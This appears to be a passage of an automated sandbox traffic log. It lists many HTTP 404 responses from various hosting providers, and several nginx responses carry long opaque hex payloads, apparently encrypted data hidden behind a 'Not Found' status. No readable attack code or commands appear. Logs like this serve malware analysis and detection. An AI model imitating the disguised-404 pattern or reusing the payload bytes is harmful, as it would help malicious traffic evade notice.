Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:40 GMTEtag: W/"d3b928bd5836fb6282df4e5a69977809"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BVXhLADRkmopMTRlMTM1ODJjOGZlZThhNTRkOTA2OTVhNWQzZTk0;Secure;Path=/Strict-Transport-Security: max-age=15552000Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: htlDMeAK/GQqJ7QaHX-Frame-Options: SAMEORIGINX-Frame-Options: SAMEORIGINConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 20 Dec 2023 02:13:40 GMTCache-Control: public, max-age=31536000access-control-allow-origin: access-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-headers: Content-Typecontent-security-policy-report-only: default-src 'self' .a8b.costrict-transport-security: max-age=31536000; includeSubDomainsreferrer-policy: strict-origin-when-cross-originpermissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self)x-frame-options: SAMEORIGINx-content-type-options: nosniffVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 e6d9afb708094d99147362cbe3738172.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MIA3-C4X-Amz-Cf-Id: dZwLllcnAxw_oJHfGebd1a-HureQEKO6CmPHsmsS3NtsqRHR5s8XcA==
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:40 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038419.3261655779706232668Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:40 GMTAge: 2X-Served-By: cache-dfw-kdfw8210161-DFWX-Cache: HITVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038419.5181657351050212110Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:40 GMTAge: 2X-Served-By: cache-dfw-kdfw8210128-DFWX-Cache: HITVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:40 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:40 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:40 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn82.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=affa9b41577ea3b7472fa0a7d04cd9b5; expires=Wed, 20-Dec-2023 03:13:40 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:51 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=5feif1nam81cheppm13t953rub; path=/Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845e14a8ee742e-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 52x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-9q2p2x-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 6b7616e9-e0cb-4e5b-a2b0-03e96a911085X-HubSpot-NotFound: truex-request-id: 6b7616e9-e0cb-4e5b-a2b0-03e96a911085X-Trace: 2BFE14D6303E741AFAD3F3DD9F09D24DF9F969D96B000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eXk%2BYEEyFtTtv%2B6znlOP5X1AIRYecvHkG56vVqyZlhPKYacyTIOx6cuWnBIj24Kr5dMfXqnH%2BRfFuHgvEYG816lgNid7kRpfxvuY85jEaR15NxV7T%2BqeByyThH4E0H9qXfxPBXRKn%2FWj5pli9U8%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038420.00216549370207832690Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:41 GMTAge: 3X-Served-By: cache-dfw-kdfw8210154-DFWX-Cache: HITVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845e158d46b3df-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 44x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhmx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: a8558a6e-89bb-4b80-a900-4314c97430faX-HubSpot-NotFound: truex-request-id: a8558a6e-89bb-4b80-a900-4314c97430faX-Trace: 2BB0B24A694F18A3F66E94E97B6102F69FC56EEDCB000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jpQMaVhczV3pcOJSzxQYarS14W5ZMSl1Mmv46vikSsUS85bpnWpHfOvzcq21ogFqReVLToKoXJKj%2F1aEy%2FeACuwUAeywmQXkfnAjcY0eOfGFWBGzFxTJBSftMiOusKVS%2FoEpjZ632JRyYiCPlCA%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: ApacheX-Powered-By: PHP/7.0Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:41 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:41 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:41 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu120.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingSet-Cookie: PHPSESSID=a26ed76add35b5b674ad2081a63c9f68; path=/Pragma: no-cacheSet-Cookie: aiovg_rand_seed=2077447148; expires=Thu, 21-Dec-2023 02:13:41 GMT; Max-Age=86400; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 53 a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b ae 9f 4e 18 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f e8 92 24 98 53 c5 03 29 8f a1 61 7e de f5 ed 89 19 17 7e 4f af 9a a5 e4 d5 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b 41 a0 4a 9a 07 fd ec 36 db 64 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 8d 4d d0 4f 5f 79 82 ae 9c 97 5d 4c dd 8d ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 00 b3 e5 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 a2 d7 e3 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 5e 40 e7 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 03 01 ab 1b 6f d3 cb 29 32 b8 fb 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 95 a9 1f e4 a6 dd 0c 9f 10 f7 d9 b0 99 93 85 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb e1 7d 55 28 d2 5e 5a 1f d0 bb aa 7a 8f 14 77 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b9 94 65 5c dc e5 7e e5 7d 71 d4 03 eb f3 98 76 b2 0e ca 82 33 39 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 25 8b e2 e3 5f ed 43 7c f7 59 8d 22 5a f0 87 45 e6 11 b7 02 08 3c 5c 1b 69 e6 d1 bc 68 65 bf 10 29 30 6a 49 03 3d 20 08 65 fa 25 8e 84 44 39 29 a8 12 5a a0 8b e5 7b 92 47 03 ea 17 0a 99 25 0d 2f e6 49 80 b7 9b 4a ab e9 68 77 8f 5e 3d 8c 1e d6 86 50 9d 16 66 6d f2 7b 98 a8 93 82 c6 fa 51 a1 5e 51 56 a3 07 53 29 1d 7c 3e 2a e4 89 9e 50 3f 47 34 93 28 57 d5 13 79 0b 5e 47 58 f7 0f af fa 9e be 36 31 3f 3c c8 be 93 3c 20 05 e5 74 3a 88 32 6c b5 cd 66 1f df 64 47 29 3f 52 3b 4c 1e 46 54 78 2a c6 68 f7 53 25 4c ae 20 50 d1 2e 79 be 64 3a 27 8f af 76 f0 3d 7c 26 0b 89 ec e0 0e 0d 65 84 9a 1c ad 33 ba a7 64 7f 7a cc 77 92 bc 04 5b 3a b6 73 c4 a5 c5 08 0d ad 90 49 d5 78 78 0c 3a ca ee 85 37 ac c4 e1 d7 b4 18 65 b0 3d 7c 84 0c e3 cc 6b 6e 9c f4 cb 49 24 0c b4 f4 7b 08 e1 49 a5 68 1d c4 ac 23 ee 23 91 8d fd df 08 80 a7 4e c8 02 79 af 2f 9f 35 51 99 d8 7e 03 51 03 5b 08 63 fe e7 9c 87 22 84 98 0b 02 88 e9 85 73 1c bb 39 b1 6d 8e ad 22 5e 0d a2 c0 f5 f5 6a 62 55 10 d8 80 34 5e 0a dc 06 ce b9 4f de 14 63 52 16 e0 e0 92 ad d5 83 83 1b 44 60 a0 a6 7b 8f 76 11 63 da f6 c6 5c 4c 42 a6 0d de fa 47 e9 a6 33 aa 3c 7a 82 8f a2 b7 21 58 c8 df 1a b2 7f 8a f4 0c 5f 26 2f 33 05 17 5c 15 c7 c9 77 5c aa 62 01 1b f2 b6 ee e5 8a 1d 12 94 e7 14 c4 6e 10 77 3d e5 04 37 3e f5 4b b3 eb e1 75 9d 97 3f 38 c4 e5 29 c8 35 21 85 f8 de 6d 0a b1 b9 48 1c 08 b7 29 7f 31 d8 7b 48 09 31 88 aa a0 3e c1 39 6e a5 73 b5 3f 1d e2 bc 40 68 d1 40 31 dc 66 36 c5 6c 8b c2 1c 7c fa 63 95 f9 d5 ec 27 f0 e4 b9 81 0d 10 0c 3d 4d 30 a9 d4 ab f8 80 05 13 a3 e8 e1 b0 ce 0b fa d1 df 21 1f 62 41 a1 c3 29 7b f0 cd cf 19 fb 83 18 c3 a0 b1 aa 44 61 ac c3 69 a5 54 87 3b 2b a1 49 b6 3d be 8b 61 56 b2 84 0c 6d d2 1f a6 77 84 de b8 04 1b 7b b8 f7 a2 05 58 fa fa e0 cc 7b ed af cb 6c c5 ea ba 3a 4a 63 31 f5 26 76 11 38 5f 6f 97 33 84 8e d8 a9 a5 d2 56 49 11 af da e3 81 ac 0f ad 87 7b 85 ee 4d 6a d9 75 98 1b da 69 e6 ed 78 3d a8 e9 fe 9a 71 f9 72 dc af 83 f3 33 86 d1 3f 29 cd d0 1e e2 2f b5 84 74 92 31 b3 77 f3 e4 7c 38 01 60 1e 21 76 ec e5 1e b6 0e 52 e9 f3 1c 36 33 0d ae f1 01 2f c5 00 c6 05 72 19 15 4a 59 2c f8 86 f6 0d 92 dd ef b8 0b 79 3d 5b bc 80 80 5b 6c e2 77 63 7e 2b 6a 84 37 62 f8 97 23 55 df 1d ad 75 38 33 63 3c 31 3b 7a d6 6a 2a 70 eb 08 d9 92 4c 46 71 1b 85 9c 2c d6 fc e5 57 79 e4 3a 07 33 3b 39 bf 4f f7 8d f1 e2 77 08 10 b6 eb dd 37 a6 05 4e b3 2b 88 76 ec f4 ef fe 5a 40 71 57 f6 ff b4 90 92 ba cf 5f ab 01 a7 fd 2f df db e7 0c 1f 72 9c 81 ce a8 cd 03 88 c3 57 a4 ce 2d 34 3c 0f fe 59 02 bc 7e d9 c6 df f5 3a 4d b3 8c f1 92 53 04 e0 e8 c8 e5 dc f3 64 05 57 f6 c1 63 48 a3 bc 09 32 36 b8 d8 68 10 5f b8 a2 ef ef c1 ea bc de b9 d
